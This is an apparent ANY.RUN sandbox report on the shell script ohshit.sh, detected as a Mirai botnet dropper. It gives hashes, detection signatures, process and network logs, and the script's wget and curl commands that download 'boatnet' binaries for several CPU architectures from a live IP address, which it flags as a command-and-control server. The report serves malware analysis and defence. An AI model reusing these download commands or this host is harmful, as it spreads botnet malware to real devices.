Malware analysis ohshit.sh Malicious activity | ANY.RUN

Add for printing

File name:	ohshit.sh
Full analysis:	https://app.any.run/tasks/3c2812c5-b7f6-48fb-a638-da040aa02500
Verdict:	Malicious activity
Threats:	A botnet is a group of internet-connected devices that are controlled by a single individual or group, often without the knowledge or consent of the device owners. These devices can be used to launch a variety of malicious attacks, such as distributed denial-of-service (DDoS) attacks, spam campaigns, and data theft. Botnet malware is the software that is used to infect devices and turn them into part of a botnet. Mirai is a self-propagating malware that scans the internet for vulnerable IoT devices and infects them to create a botnet. Mirai variants utilize lists of common default credentials to gain access to devices. Mirai's primary use is for launching distributed denial-of-service (DDoS) attacks, but it has also been used for cryptocurrency mining. Malware Trends Tracker >>>
Analysis date:	December 14, 2024, 04:10:39
OS:	Ubuntu 22.04.2 LTS
Tags:	opendir mirai botnet
Indicators:
MIME:	text/x-shellscript
File info:	Bourne-Again shell script, ASCII text executable
MD5:	49F7303A16D7E14D54856F32A64EDF18
SHA1:	78BF70845CF273E963F91E0A373E581E03ECB965
SHA256:	54EF205416581348885F545C913D0325C89E72C40CFC1F423E319855F0C40B6A
SSDEEP:	48:vz37O37N7hz3p36Gz3gB3zPz353KWz3/3oUz37/37o7Uz3fY33bz3+39Rz3L3cgl:vD7g7N7hD96GDgFzPDtKWD/oUD7/7o70

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Add for printing

MALICIOUS
- MIRAI has been detected (SURICATA)
  - wget (PID: 38783)
  - WTF (PID: 38782)
  - WTF (PID: 39173)
  - WTF (PID: 39205)
  - WTF (PID: 38882)
  - WTF (PID: 39109)
  - WTF (PID: 38981)
  - WTF (PID: 38815)
  - WTF (PID: 39237)
  - WTF (PID: 38849)
  - WTF (PID: 39075)
  - WTF (PID: 38913)
  - WTF (PID: 39043)
  - WTF (PID: 39012)
  - WTF (PID: 38945)
  - WTF (PID: 39141)
SUSPICIOUS
- Potential Corporate Privacy Violation
  - curl (PID: 38744)
  - wget (PID: 38783)
  - wget (PID: 38742)
  - wget (PID: 38816)
  - wget (PID: 38946)
  - wget (PID: 38982)
  - wget (PID: 39013)
  - wget (PID: 39044)
  - wget (PID: 39110)
  - wget (PID: 39076)
  - wget (PID: 39142)
  - curl (PID: 39111)
  - curl (PID: 39077)
  - wget (PID: 39174)
  - wget (PID: 39206)
- Connects to unusual port
  - WTF (PID: 38782)
  - WTF (PID: 38849)
  - WTF (PID: 38882)
  - WTF (PID: 38945)
  - WTF (PID: 38981)
  - WTF (PID: 38913)
  - WTF (PID: 38815)
  - WTF (PID: 39012)
  - WTF (PID: 39075)
  - WTF (PID: 39109)
  - WTF (PID: 39043)
  - WTF (PID: 39141)
  - WTF (PID: 39173)
  - WTF (PID: 39205)
  - WTF (PID: 39237)
- Reads /proc/mounts (likely used to find writable filesystems)
  - curl (PID: 38915)
  - curl (PID: 38744)
  - curl (PID: 39111)
  - curl (PID: 39077)
- Uses wget to download content
  - bash (PID: 38740)
- Modifies file or directory owner
  - sudo (PID: 38736)
- Executes commands using command-line interpreter
  - sudo (PID: 38739)
- Connects to the server without a host name
  - wget (PID: 38946)
  - wget (PID: 39013)
  - wget (PID: 39044)
  - wget (PID: 39110)
  - wget (PID: 39076)
  - curl (PID: 39077)
  - curl (PID: 39111)
  - wget (PID: 39206)
  - wget (PID: 39174)
  - wget (PID: 39142)
- Contacting a server suspected of hosting an CnC
  - WTF (PID: 39205)
  - WTF (PID: 38782)
  - WTF (PID: 39173)
  - WTF (PID: 38981)
  - WTF (PID: 38882)
  - WTF (PID: 38913)
  - WTF (PID: 39237)
  - WTF (PID: 39109)
  - WTF (PID: 39075)
  - WTF (PID: 38849)
  - WTF (PID: 38815)
  - WTF (PID: 39012)
  - WTF (PID: 39043)
  - WTF (PID: 39141)
  - WTF (PID: 38945)
INFO
No info indicators.

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Add for printing

No Malware configuration.

Add for printing

TRiD

.sh	\|	Linux/UNIX shell script (100)

No data.

Add for printing

All screenshots are available in the full report

Add for printing

Total processes

381

Monitored processes

174

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID	CMD	Path	Indicators	Parent process
38735	/bin/sh -c "sudo chown user /tmp/ohshit\.sh && chmod +x /tmp/ohshit\.sh && DISPLAY=:0 sudo -iu user /tmp/ohshit\.sh "	/usr/bin/dash	—	any-guest-agent
User: root Integrity Level: UNKNOWN Exit code: 0
38736	sudo chown user /tmp/ohshit.sh	/usr/bin/sudo	—	dash
User: root Integrity Level: UNKNOWN Exit code: 0
38737	chown user /tmp/ohshit.sh	/usr/bin/chown	—	sudo
User: root Integrity Level: UNKNOWN Exit code: 0
38738	chmod +x /tmp/ohshit.sh	/usr/bin/chmod	—	dash
User: root Integrity Level: UNKNOWN Exit code: 0
38739	sudo -iu user /tmp/ohshit.sh	/usr/bin/sudo	—	dash
User: root Integrity Level: UNKNOWN Exit code: 0
38740	/bin/bash /tmp/ohshit.sh	/usr/bin/bash	—	sudo
User: user Integrity Level: UNKNOWN Exit code: 0
38741	/usr/bin/locale-check C.UTF-8	/usr/bin/locale-check	—	bash
User: user Integrity Level: UNKNOWN Exit code: 0
38742	wget http://163.123.181.75/hiddenbin/boatnet.x86	/usr/bin/wget		bash
User: user Integrity Level: UNKNOWN Exit code: 0
38744	/snap/curl/1754/bin/curl -O http://163.123.181.75/hiddenbin/boatnet.x86	/snap/curl/1754/bin/curl		bash
User: user Integrity Level: UNKNOWN Exit code: 0
38756	/snap/snapd/20290/usr/lib/snapd/snap-seccomp version-info	/snap/snapd/20290/usr/lib/snapd/snap-seccomp	—	curl
User: user Integrity Level: UNKNOWN Exit code: 0

Add for printing

Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
38742	wget	/tmp/boatnet.x86		o
		MD5:—	SHA256:—
38816	wget	/tmp/boatnet.arc		o
		MD5:—	SHA256:—
38946	wget	/tmp/boatnet.mpsl		o
		MD5:—	SHA256:—
38982	wget	/tmp/boatnet.arm		o
		MD5:—	SHA256:—
39013	wget	/tmp/boatnet.arm5		binary
		MD5:—	SHA256:—
39044	wget	/tmp/boatnet.arm6		o
		MD5:—	SHA256:—
39076	wget	/tmp/boatnet.arm7		o
		MD5:—	SHA256:—
39110	wget	/tmp/boatnet.ppc		o
		MD5:—	SHA256:—
39142	wget	/tmp/boatnet.spc		o
		MD5:—	SHA256:—
39206	wget	/tmp/boatnet.sh4		o
		MD5:—	SHA256:—

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Add for printing

HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

100

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
—	—	GET	204	185.125.190.49:80	http://connectivity-check.ubuntu.com/	unknown	—	—	whitelisted
—	—	GET	204	91.189.91.97:80	http://connectivity-check.ubuntu.com/	unknown	—	—	whitelisted
—	—	GET	204	185.125.190.49:80	http://connectivity-check.ubuntu.com/	unknown	—	—	whitelisted
38783	wget	GET	200	163.123.181.75:80	http://163.123.181.75/hiddenbin/boatnet.mips	unknown	—	—	—
38744	curl	GET	200	163.123.181.75:80	http://163.123.181.75/hiddenbin/boatnet.x86	unknown	—	—	—
38742	wget	GET	200	163.123.181.75:80	http://163.123.181.75/hiddenbin/boatnet.x86	unknown	—	—	—
—	—	GET	200	163.123.181.75:80	http://163.123.181.75/hiddenbin/boatnet.mips	unknown	—	—	—
—	—	GET	200	163.123.181.75:80	http://163.123.181.75/hiddenbin/boatnet.arm	unknown	—	—	—
38982	wget	GET	200	163.123.181.75:80	http://163.123.181.75/hiddenbin/boatnet.arm	unknown	—	—	—
—	—	GET	404	163.123.181.75:80	http://163.123.181.75/hiddenbin/boatnet.i468	unknown	—	—	—

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID	Process	IP	Domain	ASN	CN	Reputation
484	avahi-daemon	224.0.0.251:5353	—	—	—	unknown
—	—	185.125.190.49:80	—	Canonical Group Limited	GB	unknown
—	—	91.189.91.97:80	—	Canonical Group Limited	US	unknown
38742	wget	163.123.181.75:80	—	NOCIX	US	unknown
38744	curl	163.123.181.75:80	—	NOCIX	US	unknown
38782	WTF	163.123.181.75:3778	—	NOCIX	US	unknown
38783	wget	163.123.181.75:80	—	NOCIX	US	unknown
—	—	163.123.181.75:80	—	NOCIX	US	unknown
38815	WTF	163.123.181.75:3778	—	NOCIX	US	unknown
38816	wget	163.123.181.75:80	—	NOCIX	US	unknown

DNS requests

Domain	IP	Reputation
google.com	142.250.186.110 2a00:1450:4001:829::200e	whitelisted
208.100.168.192.in-addr.arpa	—	unknown
connectivity-check.ubuntu.com	2620:2d:4000:1::2b 2620:2d:4000:1::97 2001:67c:1562::24 2620:2d:4002:1::197 2001:67c:1562::23 2620:2d:4000:1::2a 2620:2d:4000:1::96 2620:2d:4000:1::98 2620:2d:4000:1::22 2620:2d:4002:1::196 2620:2d:4000:1::23 2620:2d:4002:1::198	whitelisted

Threats

PID	Process	Class	Message
—	—	Potentially Bad Traffic	ET INFO x86 File Download Request from IP Address
—	—	Potentially Bad Traffic	ET HUNTING Suspicious GET Request for .x86
—	—	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP
—	—	Potentially Bad Traffic	ET INFO x86 File Download Request from IP Address
—	—	Potentially Bad Traffic	ET HUNTING Suspicious GET Request for .x86
—	—	Potentially Bad Traffic	ET HUNTING curl User-Agent to Dotted Quad
—	—	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP
—	—	A Network Trojan was detected	AV INFO Possible Mirai .mips Executable Download
—	—	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP
—	—	Potentially Bad Traffic	ET INFO MIPS File Download Request from IP Address

Add for printing

No debug info

General Info

ohshit.sh

49F7303A16D7E14D54856F32A64EDF18

78BF70845CF273E963F91E0A373E581E03ECB965

54EF205416581348885F545C913D0325C89E72C40CFC1F423E319855F0C40B6A

48:vz37O37N7hz3p36Gz3gB3zPz353KWz3/3oUz37/37o7Uz3fY33bz3+39Rz3L3cgl:vD7g7N7hD96GDgFzPDtKWD/oUD7/7o70

Software environment set and analysis options

Launch configuration

Software preset

Behavior activities

MALICIOUS

MIRAI has been detected (SURICATA)

SUSPICIOUS

Potential Corporate Privacy Violation

Connects to unusual port

Reads /proc/mounts (likely used to find writable filesystems)

Uses wget to download content

Modifies file or directory owner

Executes commands using command-line interpreter

Connects to the server without a host name

Contacting a server suspected of hosting an CnC

INFO

Malware configuration

Static information

TRiD

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Information

Information

Information

Information

Information

Information

Information

Information

Information

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings